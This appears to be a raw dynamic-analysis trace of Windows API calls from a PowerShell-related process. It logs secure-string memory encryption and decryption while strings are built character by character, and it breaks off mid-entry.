[0256.189] SysStringLen (param_1="g0ia41QME7BTLa頮᱿") returned 0x10 [0256.189] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.189] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫집눤ꮒ뙼﫶ﮫㇵ≣) returned 0x10 [0256.189] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫집눤ꮒ뙼﫶ﮫㇵ≣) returned 0x10 [0256.189] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.190] SysStringLen (param_1="g0ia41QME7BTLam᱿") returned 0x10 [0256.190] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.190] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫뛑펈曔矝Ǭꁛ鴱殟≞) returned 0x10 [0256.190] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫뛑펈曔矝Ǭꁛ鴱殟≞) returned 0x10 [0256.190] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.190] SysStringLen (param_1="g0ia41QME7BTLamv") returned 0x10 [0256.190] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.190] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑") returned 0x10 [0256.190] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑") returned 0x10 [0256.190] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑") returned 0x10 [0256.191] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑") returned 0x18 [0256.191] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.191] SysStringLen (param_1="g0ia41QME7BTLamvNI貖㽚㦴㚯늮瞪") returned 0x18 [0256.191] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.191] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑뽇ഐ鷅໴暈᪑詀") returned 0x18 [0256.191] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑뽇ഐ鷅໴暈᪑詀") returned 0x18 [0256.191] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.191] SysStringLen (param_1="g0ia41QME7BTLamvNP貖㽚㦴㚯늮瞪") returned 0x18 [0256.191] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.191] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑䀓饾랬蠋쑥⒳盡") returned 0x18 [0256.191] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑䀓饾랬蠋쑥⒳盡") returned 0x18 [0256.192] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.192] SysStringLen (param_1="g0ia41QME7BTLamvNPl㽚㦴㚯늮瞪") returned 0x18 [0256.192] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.192] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑谽㋨謫⎃宏뺞⓺") returned 0x18 [0256.192] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑谽㋨謫⎃宏뺞⓺") returned 0x18 [0256.192] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.192] SysStringLen (param_1="g0ia41QME7BTLamvNPlv㦴㚯늮瞪") returned 0x18 [0256.192] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.192] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑认等鈲箭쥎삍狸") returned 0x18 [0256.192] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑认等鈲箭쥎삍狸") returned 0x18 [0256.192] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.192] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6㚯늮瞪") returned 0x18 [0256.192] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.193] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑鷻紁\࿛ﴷ矏㻨∾) returned 0x18 [0256.193] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑鷻紁\࿛ﴷ矏㻨∾) returned 0x18 [0256.193] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.193] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6S늮瞪") returned 0x18 [0256.193] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.193] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑姄곱줡ʠ幗ࠨ䨩") returned 0x18 [0256.193] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑姄곱줡ʠ幗ࠨ䨩") returned 0x18 [0256.193] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.193] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6Sf瞪") returned 0x18 [0256.193] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.193] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑옾꓈㙪ອ넻ﾣ榔㩯") returned 0x18 [0256.193] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑옾꓈㙪ອ넻ﾣ榔㩯") returned 0x18 [0256.193] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.194] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6Sfo") returned 0x18 [0256.194] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.194] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉∴) returned 0x18 [0256.194] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉∴) returned 0x18 [0256.194] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉∴) returned 0x18 [0256.194] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉∴) returned 0x20 [0256.194] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.194] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoW㮎ꣲs咔컖멫鈴") returned 0x20 [0256.194] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.195] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉괴ᨨ䝌廑伴曨赖∉) returned 0x20 [0256.195] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉괴ᨨ䝌廑伴曨赖∉) returned 0x20 [0256.195] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.195] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlꣲs咔컖멫鈴") returned 0x20 [0256.195] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.195] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉퀴돟芭ㆺ楹蟭鍒⋸) returned 0x20 [0256.195] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉퀴돟芭ㆺ楹蟭鍒⋸) returned 0x20 [0256.195] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.195] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRs咔컖멫鈴") returned 0x20 [0256.195] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.195] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉ℴ䂉葢뜵킃嚝ݟ靄≤) returned 0x20 [0256.195] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉ℴ䂉葢뜵킃嚝ݟ靄≤) returned 0x20 [0256.195] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.196] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRV咔컖멫鈴") returned 0x20 [0256.196] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.196] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉头௾Ѥ쏲茶٘걒ฏ⊑) returned 0x20 [0256.196] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉头௾Ѥ쏲茶٘걒ฏ⊑) returned 0x20 [0256.196] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.196] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVc컖멫鈴") returned 0x20 [0256.196] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.196] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉颷˷喋쬧䱚㢤瘆∭) returned 0x20 [0256.196] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉颷˷喋쬧䱚㢤瘆∭) returned 0x20 [0256.196] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.196] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcT멫鈴") returned 0x20 [0256.196] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.196] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉尴졮Ⱳ䴿䎾㑴킶⊞) returned 0x20 [0256.196] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉尴졮Ⱳ䴿䎾㑴킶⊞) returned 0x20 [0256.197] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.197] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTV鈴") returned 0x20 [0256.197] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.197] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉븴櫫薯羃縍꿿⺶⅒⋧) returned 0x20 [0256.197] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉븴櫫薯羃縍꿿⺶⅒⋧) returned 0x20 [0256.197] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.197] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTVD") returned 0x20 [0256.197] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.197] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴") returned 0x20 [0256.197] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴") returned 0x20 [0256.197] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴") returned 0x20 [0256.198] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴") returned 0x28 [0256.198] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.198] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTVDDܗᚚ薽ᦣ㋍﹏") returned 0x28 [0256.198] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.198] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴雁岀ꑟℕ돨䅕ᓹ研") returned 0x28 [0256.198] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴雁岀ꑟℕ돨䅕ᓹ研") returned 0x28 [0256.198] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.198] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTVDDsᚚ薽ᦣ㋍﹏") returned 0x28 [0256.198] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.198] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴캏⎯ത냿橡刾\⋝) returned 0x28 [0256.198] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴캏⎯ത냿橡刾\⋝) returned 0x28 [0256.199] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.199] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTVDDsIᚚ薽ᦣ㋍﹏") returned 0x28 [0256.199] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.199] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴䚱჉ᦼ炝ḅࠋ") returned 0x28 [0256.199] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴䚱჉ᦼ炝ḅࠋ") returned 0x28 [0256.199] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.199] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTVDDsII薽ᦣ㋍﹏") returned 0x28 [0256.199] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.199] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴鬸✹ꖽ䧆胾염ꋱ♚") returned 0x28 [0256.199] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴鬸✹ꖽ䧆胾염ꋱ♚") returned 0x28 [0256.199] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.199] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTVDDsII6ᦣ㋍﹏") returned 0x28 [0256.199] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.200] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴瓻Ұ銙\x8eꞍ晎﯁") returned 0x28 [0256.200] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴瓻Ұ銙\x8eꞍ晎﯁") returned 0x28 [0256.200] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.200] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTVDDsII6g㋍﹏") returned 0x28 [0256.200] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.200] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴ᐆ슋뤎ൡ₠끃렂") returned 0x28 [0256.200] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴ᐆ슋뤎ൡ₠끃렂") returned 0x28 [0256.200] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.200] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTVDDsII6gC﹏") returned 0x28 [0256.200] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.200] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴Åȉ棯₀뉅뒡헶") returned 0x28 [0256.200] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴Åȉ棯₀뉅뒡헶") returned 0x28 [0256.200] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.201] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTVDDsII6gCi") returned 0x28 [0256.201] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.201] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴퇑ŷŅ坱\ϙ⋦) returned 0x28 [0256.201] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴퇑ŷŅ坱\ϙ⋦) returned 0x28 [0256.201] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴퇑ŷŅ坱\ϙ⋦) returned 0x28 [0256.201] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴퇑ŷŅ坱\ϙ⋦) returned 0x30 [0256.201] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0256.201] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTVDDsII6gCix㧢鼫뮋\쳜ౚ㢪∫) returned 0x30 [0256.201] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0256.202] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴퇑ŷŅ坱\ϙ裦髟꽐䨥⣠誔∡) returned 0x30 [0256.202] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴퇑ŷŅ坱\ϙ裦髟꽐䨥⣠誔∡) returned 0x30 [0256.202] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0256.202] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTVDDsII6gCixY鼫뮋\쳜ౚ㢪∫) returned 0x30 [0256.202] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0256.202] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴퇑ŷŅ坱\ϙ⏦銠뭑ﲙ䥀엝䇿⊆) returned 0x30 [0256.202] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴퇑ŷŅ坱\ϙ⏦銠뭑ﲙ䥀엝䇿⊆) returned 0x30 [0256.202] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0256.202] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTVDDsII6gCixYk뮋\쳜ౚ㢪∫) returned 0x30 [0256.202] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0256.202] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴퇑ŷŅ坱\ϙ뫦뜌ϧꏱ᰿䘎௖䤽⋇) returned 0x30 [0256.202] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴퇑ŷŅ坱\ϙ뫦뜌ϧꏱ᰿䘎௖䤽⋇) returned 0x30 [0256.202] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0256.203] SysStringLen (param_1="g0ia41QME7BTLamvNPlv6SfoWlRVcTVDDsII6gCixYk=\쳜ౚ㢪∫) returned 0x30 [0256.203] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0256.203] EtwEventActivityIdControl () returned 0x0 [0256.203] EtwEventActivityIdControl () returned 0x0 [0256.203] EtwEventActivityIdControl () returned 0x0 [0256.203] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.203] EtwEventActivityIdControl () returned 0x0 [0256.203] EtwEventActivityIdControl () returned 0x0 [0256.203] EtwEventActivityIdControl () returned 0x0 [0256.206] SysStringLen (param_1="") returned 0x8 [0256.206] SysStringLen (param_1="N") returned 0x8 [0256.206] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.206] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0256.206] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0256.206] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.206] SysStringLen (param_1="ND") returned 0x8 [0256.206] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.206] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0256.206] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0256.206] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.207] SysStringLen (param_1="NDZ") returned 0x8 [0256.207] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.207] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0256.207] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0256.207] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.207] SysStringLen (param_1="NDZl") returned 0x8 [0256.207] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.207] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0256.207] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0256.207] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.207] SysStringLen (param_1="NDZlO") returned 0x8 [0256.207] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.207] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0256.208] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0256.208] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | 